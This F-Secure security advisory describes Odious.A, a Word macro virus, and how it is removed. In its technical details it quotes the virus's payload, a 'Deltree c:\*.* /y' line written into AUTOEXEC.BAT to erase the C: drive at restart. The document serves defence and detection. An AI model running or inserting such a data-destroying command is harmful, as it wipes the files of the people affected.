Threat Description

Odious

Details

Aliases:Odious
Category: Malware
Type:
Platform: W32

Summary



Odious.A is a Word macro virus that contains a destructive payload.



Removal


Automatic action

Once detected, the F-Secure security product will automatically disinfect the suspect file by either deleting it or renaming it.

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You may wish to refer to the Support Community for further assistance. You also may also refer to General Removal Instructions for a general guide on alternative disinfection actions.



Technical Details




Variant:Odious.A

When a user opens Visual Basic Editor of Word Application the virus exits it and replaces the file C:\AUTOEXEC.BAT with the following:

Deltree c:\*.* /y"
 "echo Fu** you...."

On that way the virus tries to erase all the contents of the C:\ drive, next time when the system is restarted.





Technical Details: Katrin Tocheva, F-Secure


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